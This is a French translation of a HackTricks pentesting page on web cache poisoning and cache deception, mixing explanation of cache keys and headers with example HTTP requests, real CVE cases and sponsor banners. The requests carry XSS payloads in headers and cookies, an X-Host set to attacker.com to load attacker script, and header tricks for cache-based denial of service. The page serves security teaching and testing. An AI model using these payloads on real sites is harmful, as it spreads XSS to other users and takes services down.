mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
183 lines
14 KiB
Markdown
183 lines
14 KiB
Markdown
# Empoisonnement et tromperie de cache
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## La différence
|
|
|
|
> **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?**
|
|
>
|
|
> * Dans l'**empoisonnement de cache web**, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application.
|
|
> * Dans la **tromperie de cache web**, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu à partir du cache.
|
|
|
|
## Empoisonnement de cache
|
|
|
|
L'objectif de l'empoisonnement de cache est de faire en sorte que les **clients chargent des ressources inattendues partiellement ou contrôlées par l'attaquant**.\
|
|
La réponse empoisonnée ne sera servie qu'aux utilisateurs qui visitent la page affectée pendant que le cache est empoisonné. Par conséquent, l'impact peut aller de nul à massif selon que la page est populaire ou non.
|
|
|
|
Pour effectuer une attaque d'empoisonnement de cache, vous devez d'abord **identifier les entrées non clés** (paramètres qui n'ont pas besoin d'apparaître sur la demande mise en cache mais qui modifient la page renvoyée), voir **comment abuser** de ce paramètre et **obtenir la réponse mise en cache**.
|
|
|
|
### Découverte : Vérifier les en-têtes HTTP
|
|
|
|
Généralement, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête indiquant cela**, vous pouvez vérifier quels en-têtes vous devez surveiller dans ce post : [**En-têtes de cache HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
|
|
|
### Découverte : Mise en cache du code 400
|
|
|
|
Si vous pensez que la réponse est mise en cache, vous pouvez essayer d'**envoyer des demandes avec un en-tête incorrect**, qui devrait être répondu avec un **code d'état 400**. Ensuite, essayez d'accéder à la demande normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).\
|
|
Un en-tête mal configuré pourrait être simplement `\:` comme en-tête.\
|
|
Notez que parfois ces types de codes d'état ne sont pas mis en cache, donc ce test sera inutile.
|
|
|
|
### Découverte : Identifier et évaluer les entrées non clés
|
|
|
|
Vous pouvez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer les paramètres et les en-têtes** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
|
|
```markup
|
|
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
|
```
|
|
### Obtenir une réponse mise en cache
|
|
|
|
Une fois que vous avez **identifié** la **page** qui peut être exploitée, quel **paramètre**/**en-tête** utiliser et **comment** l'exploiter, vous devez obtenir la page mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre du temps, vous devrez peut-être essayer pendant plusieurs secondes.\
|
|
L'en-tête **`X-Cache`** dans la réponse peut être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
|
|
L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la prochaine fois que la ressource sera mise en cache: `Cache-Control: public, max-age=1800`\
|
|
Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît l'`User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant cet `User-Agent` spécifique.\
|
|
Un autre en-tête lié au cache est **`Age`**. Il définit les temps en secondes pendant lesquels l'objet a été dans le cache proxy.
|
|
|
|
Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser le même en-tête**. Testez toujours un empoisonnement de cache avec **différents navigateurs** pour vérifier si cela fonctionne.
|
|
|
|
## Exemples d'exploitation
|
|
|
|
### Exemple le plus simple
|
|
|
|
Un en-tête comme `X-Forwarded-For` est réfléchi dans la réponse non-sanitisée.\
|
|
Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache pour que tout le monde qui accède à la page soit XSSé:
|
|
```markup
|
|
GET /en?region=uk HTTP/1.1
|
|
Host: innocent-website.com
|
|
X-Forwarded-Host: a."><script>alert(1)</script>"
|
|
```
|
|
_Remarque que cela va empoisonner une requête à `/en?region=uk` et non à `/en`_
|
|
|
|
### Utilisation de l'empoisonnement du cache web pour exploiter les vulnérabilités de gestion des cookies
|
|
|
|
Les cookies peuvent également être reflétés dans la réponse d'une page. Si vous pouvez l'abuser pour causer une XSS par exemple, vous pourriez être en mesure d'exploiter la XSS dans plusieurs clients qui chargent la réponse de cache malveillante.
|
|
```markup
|
|
GET / HTTP/1.1
|
|
Host: vulnerable.com
|
|
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|
```
|
|
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, les requêtes régulières nettoieront le cache.
|
|
|
|
### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de l'empoisonnement du cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
|
|
|
Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver une **redirection ouverte** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **redirige** toutes les demandes **HTTP** vers HTTPS et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est dirigée par la redirection.
|
|
```markup
|
|
GET /resources/js/tracking.js HTTP/1.1
|
|
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
|
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
|
X-Forwarded-Scheme: http
|
|
```
|
|
### Exploitation avec un en-tête `Vary` limité
|
|
|
|
Si vous avez découvert que l'en-tête **`X-Host`** est utilisé comme **nom de domaine pour charger une ressource JS** mais que l'en-tête **`Vary`** dans la réponse indique **`User-Agent`**, alors vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de contaminer le cache en utilisant cet User-Agent :
|
|
```markup
|
|
GET / HTTP/1.1
|
|
Host: vulnerbale.net
|
|
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
|
X-Host: attacker.com
|
|
```
|
|
### Exploitation de l'empoisonnement du cache HTTP en abusant du trafic HTTP Request Smuggling
|
|
|
|
Apprenez ici comment effectuer des attaques de Poisoning de Cache en abusant du trafic HTTP Request Smuggling.
|
|
|
|
### Tests automatisés pour l'empoisonnement du cache Web
|
|
|
|
Le scanner de vulnérabilité de cache Web peut être utilisé pour tester automatiquement l'empoisonnement du cache Web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
|
|
|
|
Exemple d'utilisation : `wcvs -u example.com`
|
|
|
|
 (1) (2).png>)
|
|
|
|
Utilisez [**Trickest**](https://trickest.io/) pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Exemples vulnérables
|
|
|
|
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
|
|
|
ATS a transmis le fragment dans l'URL sans le supprimer et a généré la clé de cache en utilisant uniquement l'hôte, le chemin et la requête (en ignorant le fragment). Ainsi, la requête `/#/../?r=javascript:alert(1)` a été envoyée au backend en tant que `/#/../?r=javascript:alert(1)` et la clé de cache n'avait pas la charge utile à l'intérieur, seulement l'hôte, le chemin et la requête.
|
|
|
|
### GitHub CP-DoS
|
|
|
|
L'envoi d'une mauvaise valeur dans l'en-tête de type de contenu a déclenché une réponse mise en cache 405. La clé de cache contenait le cookie, il était donc possible d'attaquer uniquement les utilisateurs non authentifiés.
|
|
|
|
### GitLab + GCP CP-DoS
|
|
|
|
GitLab utilise des compartiments GCP pour stocker le contenu statique. Les compartiments GCP prennent en charge l'en-tête `x-http-method-override`. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de contaminer le cache pour renvoyer un corps de réponse vide. Il pourrait également prendre en charge la méthode `PURGE`.
|
|
|
|
### Middleware Rack (Ruby on Rails)
|
|
|
|
L'application Ruby on Rails est souvent déployée aux côtés du middleware Rack. Le code Rack ci-dessous prend la valeur de la valeur **`x-forwarded-scheme` et l'utilise comme schéma de la requête**.
|
|
|
|
 (2).png>)
|
|
|
|
L'envoi de l'en-tête `x-forwarded-scheme: http` entraînerait une redirection 301 vers le même emplacement, ce qui provoquerait un DoS sur cette ressource comme dans cet exemple :
|
|
|
|
.png>)
|
|
|
|
L'application pourrait également prendre en charge l'en-tête `X-forwarded-host` et rediriger l'utilisateur vers cet hôte, ce qui permettrait de charger des fichiers JavaScript à partir du serveur de l'attaquant :
|
|
|
|
 (2).png>)
|
|
|
|
### 403 et compartiments de stockage
|
|
|
|
Auparavant, Cloudflare avait l'habitude de mettre en cache les réponses 403, donc l'envoi de mauvais en-têtes d'autorisation en essayant d'accéder à S3 ou Azure Storage Blobs exposés renverrait un 403 qui serait mis en cache. Cloudflare ne met plus en cache les réponses 403, mais cela pourrait fonctionner avec d'autres proxys.
|
|
|
|
.png>)
|
|
|
|
### Injection de paramètres clés
|
|
|
|
Très souvent, les caches sont configurés pour **inclure uniquement des paramètres GET spécifiques dans la clé de cache**.
|
|
|
|
Par exemple, Fastly utilisant Varnish **a mis en cache le paramètre `size`** dans la requête, mais si vous envoyez également le paramètre **`siz%65`** avec une mauvaise valeur, la **clé de cache** est construite avec le **paramètre de taille bien écrit**, mais le **backend** utilise la **valeur à l'intérieur du paramètre encodé dans l'URL**.
|
|
|
|
.png>)
|
|
|
|
L'encodage d'URL du deuxième paramètre `size` a entraîné son ignorance par le cache, mais utilisé par le backend. Donner au paramètre une valeur de 0 entraînerait une demande incorrecte 400 mise en cache.
|
|
|
|
### Règles de l'agent utilisateur
|
|
|
|
En raison du grand nombre de demandes générées par des outils tels que FFUF ou Nuclei, certains développeurs ont décidé de bloquer les demandes correspondant à leurs agents utilisateurs. Ironiquement, ces ajustements peuvent introduire des opportunités d'empoisonnement de cache et de DoS indésirables.
|
|
|
|
 (2).png>)
|
|
|
|
J'ai constaté que cela fonctionnait sur plusieurs cibles, avec des agents utilisateurs provenant d'outils ou de scanners différents.
|
|
|
|
### Champs d'en-tête illégaux
|
|
|
|
Le format du nom d'en-tête est défini dans [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) comme suit :
|
|
|
|
 (2).png>)
|
|
|
|
En théorie, si un nom d'en-tête contient des caractères autres que ceux répertoriés dans **tchar**, il devrait être rejeté avec une demande incorrecte 400. En pratique, cependant, les serveurs ne respectent pas toujours le RFC. La façon la plus simple d'exploiter cette nuance était de cibler Akamai qui ne rejette pas les en-têtes invalides, mais les transmet et met en cache toute erreur 400 tant que l'en-tête de contrôle de cache n'est pas présent.
|
|
|
|
.png>)
|
|
|
|
L'envoi d'un en-tête contenant un caractère illégal, `\`, provoquerait une erreur de demande incorrecte 400 mise en cache
|